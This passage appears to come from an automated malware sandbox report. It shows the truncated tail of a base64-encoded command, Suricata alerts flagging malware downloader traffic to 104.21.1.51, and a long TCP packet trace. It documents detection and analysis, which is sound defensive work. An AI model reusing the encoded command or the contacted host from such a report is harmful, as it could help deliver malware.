IAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Icon location:	%SystemRoot%\System32\imageres.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T12:44:03.647049+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49741	104.21.1.51	443	TCP
2024-12-11T12:44:06.019233+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49743	104.21.1.51	443	TCP
2024-12-11T12:44:08.125073+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49745	104.21.1.51	443	TCP
2024-12-11T12:44:30.165458+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49759	104.21.1.51	443	TCP
2024-12-11T12:45:37.140764+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49766	104.21.1.51	443	TCP
2024-12-11T12:46:35.185504+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49771	104.21.1.51	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:44:00.003973007 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:00.004021883 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:00.004215956 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:00.012619019 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:00.012645006 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:00.251100063 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:00.251311064 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:00.255595922 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:00.255604982 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:00.255841017 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:00.263771057 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:00.306247950 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.110769033 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.110800028 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.110829115 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.110922098 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.111018896 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:01.111027002 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.111143112 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:01.160079956 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:01.377218008 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.377325058 CET	443	49740	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:01.377768040 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:01.388113976 CET	49740	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:02.557908058 CET	49741	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:02.557926893 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:02.558135986 CET	49741	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:02.558464050 CET	49741	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:02.558474064 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:02.790683985 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:02.791939020 CET	49741	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:02.791949034 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:03.647063017 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:03.647104025 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:03.647133112 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:03.647192955 CET	443	49741	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:03.647264957 CET	49741	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:03.647375107 CET	49741	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:03.666834116 CET	49741	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:03.785819054 CET	49742	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:03.785840988 CET	443	49742	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:03.786005020 CET	49742	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:03.786319017 CET	49742	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:03.786326885 CET	443	49742	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:04.022224903 CET	443	49742	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:04.026631117 CET	49742	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:04.026640892 CET	443	49742	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:04.026865005 CET	49742	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:04.026870966 CET	443	49742	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:04.886143923 CET	443	49742	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:04.886224031 CET	443	49742	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:04.886389017 CET	49742	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:04.886682034 CET	49742	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:04.933599949 CET	49743	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:04.933613062 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:04.933794975 CET	49743	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:04.934082985 CET	49743	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:04.934088945 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:05.166902065 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:05.168056965 CET	49743	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:05.168067932 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.019224882 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.019289017 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.019380093 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.019454002 CET	443	49743	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.019463062 CET	49743	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.019654036 CET	49743	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.036760092 CET	49743	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.062074900 CET	49744	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.062092066 CET	443	49744	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.062356949 CET	49744	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.062581062 CET	49744	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.062587976 CET	443	49744	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.295803070 CET	443	49744	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.296797991 CET	49744	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.296808004 CET	443	49744	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.297019005 CET	49744	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.297027111 CET	443	49744	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.887293100 CET	443	49744	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.887336969 CET	443	49744	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.887443066 CET	49744	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.887744904 CET	49744	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.908915043 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.908935070 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:06.909099102 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.909404039 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:06.909416914 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:07.141494036 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:07.142947912 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:07.142957926 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.125052929 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.125087023 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.125122070 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.125171900 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.125359058 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.125371933 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.125380039 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.125756979 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.125771999 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.174089909 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.363115072 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.363348007 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.363542080 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.363573074 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.363744974 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.363756895 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.363771915 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.363986969 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.364217997 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.364320993 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.364541054 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.364554882 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.408473015 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.598211050 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.598530054 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.598786116 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.598834991 CET	443	49745	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:08.598988056 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:08.611129999 CET	49745	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:09.183726072 CET	49746	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:09.183742046 CET	443	49746	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:09.184072018 CET	49746	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:09.184247971 CET	49746	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:09.184253931 CET	443	49746	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:09.417732954 CET	443	49746	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:09.419147015 CET	49746	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:09.419152021 CET	443	49746	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:09.419249058 CET	49746	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:09.419255972 CET	443	49746	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:10.260438919 CET	443	49746	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:10.260483027 CET	443	49746	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:10.260700941 CET	49746	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:10.260937929 CET	49746	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:10.360090971 CET	49747	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:10.360109091 CET	443	49747	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:10.360284090 CET	49747	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:10.360431910 CET	49747	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:10.360440016 CET	443	49747	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:10.594985008 CET	443	49747	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:10.596138954 CET	49747	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:10.596148014 CET	443	49747	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:10.596332073 CET	49747	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:10.596337080 CET	443	49747	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.184428930 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.184453964 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.184611082 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.186853886 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.186863899 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.193803072 CET	443	49747	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.193895102 CET	443	49747	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.194014072 CET	49747	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.194211006 CET	49747	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.237379074 CET	49749	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.237411976 CET	443	49749	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.237742901 CET	49749	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.237868071 CET	49749	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.237880945 CET	443	49749	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.422980070 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.423218966 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.425239086 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.425249100 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.425585032 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.428157091 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.473597050 CET	443	49749	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.474208117 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.474751949 CET	49749	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.474766970 CET	443	49749	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:11.474900007 CET	49749	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:11.474905014 CET	443	49749	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.031994104 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.032059908 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.032109976 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.032143116 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.032223940 CET	443	49748	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.032236099 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:12.032432079 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:12.032432079 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:12.042474031 CET	49748	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:12.057903051 CET	443	49749	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.057955980 CET	443	49749	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:12.058325052 CET	49749	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:12.058516026 CET	49749	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.132010937 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.132026911 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.132190943 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.135885000 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.135894060 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.374022007 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.374314070 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.376694918 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.376724958 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.377574921 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.384588003 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.426208019 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.968261957 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.968306065 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.968326092 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.968460083 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.968488932 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.968533039 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.968547106 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.968710899 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.968893051 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:15.968934059 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.969207048 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.969245911 CET	443	49751	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:15.969403982 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:16.044181108 CET	49751	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:16.232034922 CET	49754	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:16.232053041 CET	443	49754	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:16.232259035 CET	49754	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:16.233094931 CET	49754	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:16.233105898 CET	443	49754	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:16.469716072 CET	443	49754	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:16.470932007 CET	49754	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:16.470957041 CET	443	49754	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:16.471640110 CET	49754	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:16.471658945 CET	443	49754	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:17.054788113 CET	443	49754	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:17.054855108 CET	443	49754	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:17.055018902 CET	49754	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:17.055469990 CET	49754	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:28.190174103 CET	49758	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:28.190195084 CET	443	49758	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:28.190443993 CET	49758	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:28.190556049 CET	49758	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:28.190560102 CET	443	49758	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:28.426650047 CET	443	49758	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:28.427807093 CET	49758	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:28.427817106 CET	443	49758	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:28.427999020 CET	49758	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:28.428019047 CET	443	49758	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:29.006542921 CET	443	49758	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:29.006629944 CET	443	49758	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:29.006912947 CET	49758	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:29.007061005 CET	49758	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:29.046861887 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:29.046876907 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:29.047068119 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:29.047452927 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:29.047458887 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:29.281510115 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:29.283395052 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:29.283405066 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.165424109 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.165646076 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.165663004 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.165699005 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.165808916 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.165815115 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.165859938 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.165905952 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.397773027 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.398025990 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.398049116 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.398215055 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.398243904 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.398395061 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.398395061 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.398725033 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.398782015 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.399177074 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.399183989 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.451448917 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.637248993 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.637537003 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.637588978 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.637756109 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.637773037 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.637937069 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.637937069 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.638300896 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.638405085 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.638493061 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.638550997 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.638566017 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.638703108 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.638751030 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.878709078 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.879060030 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.879118919 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.879239082 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.879261017 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.879365921 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.879443884 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.879724979 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.879837990 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.879892111 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.880016088 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.880068064 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.880089045 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.880214930 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.880263090 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.880659103 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.880786896 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.880954027 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.880974054 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.881458998 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.881643057 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:30.881664991 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:30.881830931 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.120292902 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.120491028 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.120646000 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.120805979 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.120805979 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.121465921 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.121659040 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.121668100 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.121831894 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.121838093 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.121988058 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.122471094 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.122517109 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.122665882 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.122665882 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.122673988 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.122868061 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.123433113 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.123662949 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.362323046 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.362726927 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.363166094 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.363166094 CET	49759	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:44:31.363183975 CET	443	49759	104.21.1.51	192.168.11.30
Dec 11, 2024 12:44:31.363430023 CET	443	49759	104.21.1.51	192.168.11.30
